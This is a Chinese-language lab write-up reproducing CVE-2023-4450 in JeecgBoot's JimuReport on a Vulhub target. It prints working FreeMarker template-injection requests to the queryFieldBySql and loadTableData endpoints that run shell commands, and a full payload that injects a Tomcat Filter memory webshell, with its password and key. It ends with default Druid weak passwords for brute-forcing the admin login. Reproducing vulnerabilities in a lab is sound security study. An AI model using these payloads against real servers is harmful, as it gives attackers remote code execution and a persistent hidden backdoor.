CVE-2023-4450(queryFieldBySql)
漏洞搭建
漏洞搭建使用Vulhub:vulhub/jeecg-boot/CVE-2023-4450
漏洞复现
靶场启动后访问8080端口
相关接口:
/jeecg-boot/jmreport/list` 查看JimuReport页面
/jeecg-boot/druid/login.html druid登录页面
/jeecg-boot/jmreport/queryFieldBySql 模板注入利用路径
/jeecg-boot/#/home 后台api接口
直接利用工具进行测试
通过工具走代理,然后查看请求包:
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 Hutool
Content-Type: application/json
Host: 192.168.88.206:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 94
Connection: keep-alive
{"sql":"select '<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"id\") }' "}
手动注入内存马
利用工具:jMG(https://github.com/pen4uin/java-memshell-generatorrelease)
首先利用jMG生成一个base64编码后的javabyte内存马:框架选择tomcat,组件选择Filter
生成的内存马基础信息:
加密器: JAVA_AES_BASE64
密码: Uervjps
密钥: Rtvgpainhxk
请求路径: /*
请求头: Referer: Bgbimvdbk
脚本类型: JSP
内存马类名: org.apache.AbstractMatcherEtdubFilter
注入器类名: org.springframework.ls.EncryptionUtil
注入内存马的POC:
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 192.168.88.206:8080
Content-Length: 20544
{"sql":"call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('[替换为自己生成的注入器类名]').newInstance();}catch(e){clsString=classLoader.loadClass('java.lang.String');bytecodeBase64='[替换为自己生成的base64内存马]';try{clsBase64=classLoader.loadClass('java.util.Base64');clsDecoder=classLoader.loadClass('java.util.Base64$Decoder');decoder=clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode=clsDecoder.getMethod('decode',clsString).invoke(decoder,bytecodeBase64);}catch(ee){try{datatypeConverterClz=classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode=datatypeConverterClz.getMethod('parseBase64Binary',clsString).invoke(datatypeConverterClz,bytecodeBase64);}catch(eee){clazz1=classLoader.loadClass('sun.misc.BASE64Decoder');bytecode=clazz1.newInstance().decodeBuffer(bytecodeBase64);}}clsClassLoader=classLoader.loadClass('java.lang.ClassLoader');clsByteArray=(''.getBytes().getClass());clsInt=java.lang.Integer.TYPE;defineClass=clsClassLoader.getDeclaredMethod('defineClass',[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);clazz=defineClass.invoke(classLoader,bytecode,0,bytecode.length);clazz.newInstance();};#{1};\")}","dbSource":"","type":"0"}
POC中需要两处更换,1、替换自己的base64编码,2、替换成自己的注入器类名
进行配置和连接,记得添加内存马的UA头:连接路径http://192.168.88.206:8080/jeecg-boot/
loadTableData模板注入
漏洞搭建
还是上面相同的靶场
漏洞复现
对漏洞进行利用
让利用工具走代理,查看请求包:
POST /jeecg-boot/jmreport/loadTableData HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13
Content-Type: application/json; charset=utf-8
Content-Length: 170
Host: 192.168.88.206:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate, br
{"dbSource":"","sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"echo 888888\")}'","tableName":"test_demo);","pageNo":1,"pageSize":10}
Druid弱口令
上述框架伴随druid登录,如果没有思路也可以通过尝试利用druid来获取session来进行爆破后台session。
druid路径:/jeecg-boot/druid/login.html
常见的该登录界面弱口令:
admin/admin
druid/123456
admin/123456